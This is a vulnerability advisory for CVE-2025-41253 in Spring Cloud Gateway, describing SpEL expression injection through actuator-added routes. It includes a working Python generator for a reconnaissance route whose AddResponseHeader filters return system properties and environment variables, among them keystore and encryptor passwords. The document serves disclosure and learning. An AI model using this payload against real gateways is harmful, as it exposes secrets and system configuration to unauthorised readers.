CVE-2025-41253 Using Spring Expression Language To Expose Environment Variables and System Properties
Overview
Getting all environment variables and system properties via Spring Cloud Gateway actuator endpoint.
- CVE: CVE-2025-41253
- Author: psytester
- Title: Using Spring Expression Language To Expose Environment Variables and System Properties
- Vulnerability Type: CWE-917 Improper Neutralization of Special Elements used in an Expression Language Statement (‘Expression Language Injection’)
- CVSSv3.1 Base Score: 7.5
- CVSSv3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Publishing Date: 10.11.2025
- Updated: –
Background
I saw fresh CVE-2025-41243 and I started working on understanding the vulnerability and creating an exploit to learn how it all works.
I learned a lot in the process and, incidentally, found two issues myself.
Issue Description
CVE-2025-41243 fixed the possibility of property modification, but it was still possible to read out all system environments and properties.
If you know the environment and property names, you can get them all.
We can grab some well known systemProperties and systemEnvironments, depending on Windows or Linux.
Feel free to guess which systemproperties or specifically systemEnvironments with secrets will be set in a container environment.
Fix for new CVE-2025-41253 war issued.
My python payload generator for a reconnaissance route
import json
sys_keys = [
"CONSOLE_LOG_CHARSET", "FILE_LOG_CHARSET", "LOGGED_APPLICATION_NAME", "LOG_CORRELATION_PATTERN", "LOG_LEVEL_PATTERN",
"PID", "file.encoding", "file.separator", "jasypt.encryptor.password", "jasypt.encryptor.saltGeneratorClassname",
"java.awt.headless", "java.class.path", "java.class.version", "java.home", "java.io.tmpdir", "java.library.path",
"java.protocol.handler.pkgs", "java.runtime.name", "java.runtime.version", "java.specification.maintenance.version",
"java.specification.name", "java.specification.vendor", "java.specification.version", "java.vendor", "java.vendor.url",
"java.vendor.url.bug", "java.vendor.version", "java.version", "java.version.date", "java.vm.compressedOopsMode",
"java.vm.info", "java.vm.name", "java.vm.specification.name", "java.vm.specification.vendor", "java.vm.specification.version",
"java.vm.vendor", "java.vm.version", "javax.net.ssl.trustStore", "javax.net.ssl.trustStorePassword", "javax.net.ssl.trustStoreType",
"jdk.debug", "line.separator", "native.encoding", "org.jboss.logging.provider", "os.arch", "os.name", "os.version",
"path.separator", "spring.cloud.gateway.restrictive-property-accessor.enabled", "sun.arch.data.model",
"sun.boot.library.path", "sun.cpu.endian", "sun.io.unicode.encoding", "sun.java.command", "sun.java.launcher",
"sun.jnu.encoding", "sun.management.compiler", "sun.misc.URLClassPath.disableJarChecking", "user.country", "user.dir",
"user.home", "user.language", "user.name", "user.timezone"
]
filters = []
for key in sys_keys:
spel_expr_sysProps = f"#{{ @systemProperties['{key}'] ?: 'n.a.' }}"
filters.append({
"name": "AddResponseHeader",
"args": {
"name": f"X-SpEL-sysProps-{key}",
"value": spel_expr_sysProps
}
})
env_keys = [
"ALLUSERSPROFILE", "APPDATA", "CLIENTNAME", "COMPUTERNAME", "ComSpec", "CommonProgramFiles", "CommonProgramFiles(x86)",
"CommonProgramW6432", "DBUS_SESSION_BUS_ADDRESS", "DEFLOGDIR", "DriverData", "FPS_BROWSER_APP_PROFILE_STRING",
"FPS_BROWSER_USER_PROFILE_STRING", "HISTCONTROL", "HISTSIZE", "HOME", "HOMEDRIVE", "HOMEPATH", "HOSTNAME", "JAVA_HOME",
"LANG", "LESSOPEN", "LOCALAPPDATA", "LOGNAME", "LOGONSERVER", "LS_COLORS", "MAIL", "NUMBER_OF_PROCESSORS", "OLDPWD", "OS",
"OneDrive", "OneDriveConsumer", "PATH", "PATHEXT", "PROCESSOR_ARCHITECTURE", "PROCESSOR_IDENTIFIER", "PROCESSOR_LEVEL",
"PROCESSOR_REVISION", "PSModulePath", "PUBLIC", "PWD", "Path", "ProgramData", "ProgramFiles", "ProgramFiles(x86)", "ProgramW6432",
"SELINUX_LEVEL_REQUESTED", "SELINUX_ROLE_REQUESTED", "SELINUX_USE_CURRENT_RANGE", "SESSIONNAME", "SHELL", "SHLVL", "SSH_CLIENT",
"SSH_CONNECTION", "SSH_TTY", "SystemDrive", "SystemRoot", "TEMP", "TERM", "TMP", "USER", "USERDOMAIN", "USERDOMAIN_ROAMINGPROFILE",
"USERNAME", "USERPROFILE", "XDG_RUNTIME_DIR", "XDG_SESSION_ID", "_", "which_declare", "windir"
]
for key in env_keys:
spel_expr_envProps = f"#{{ @systemEnvironment['{key}'] ?: 'n.a.' }}"
filters.append({
"name": "AddResponseHeader",
"args": {
"name": f"X-SpEL-envProps-{key}",
"value": spel_expr_envProps
}
})
route_payload = {
"id": "spel-recon-route",
"uri": "http://example.org",
"predicates": [
{
"name": "Path",
"args": {
"pattern": "/spel-recon"
}
}
],
"filters": filters
}
print(json.dumps(route_payload, indent=2))
Credit
Ezzer aka ez_z3r for his previous work, which made me curious to dive deeper
Disclaimer
The information provided is released “as is” without warranty of any kind. The publisher disclaims all warranties, either express or implied, including all warranties of merchantability. No responsibility is taken for the correctness of this information. In no event shall the publisher be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if the publisher has been advised of the possibility of such damages.
The contents of this advisory are copyright (c) 2025 by psytester and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.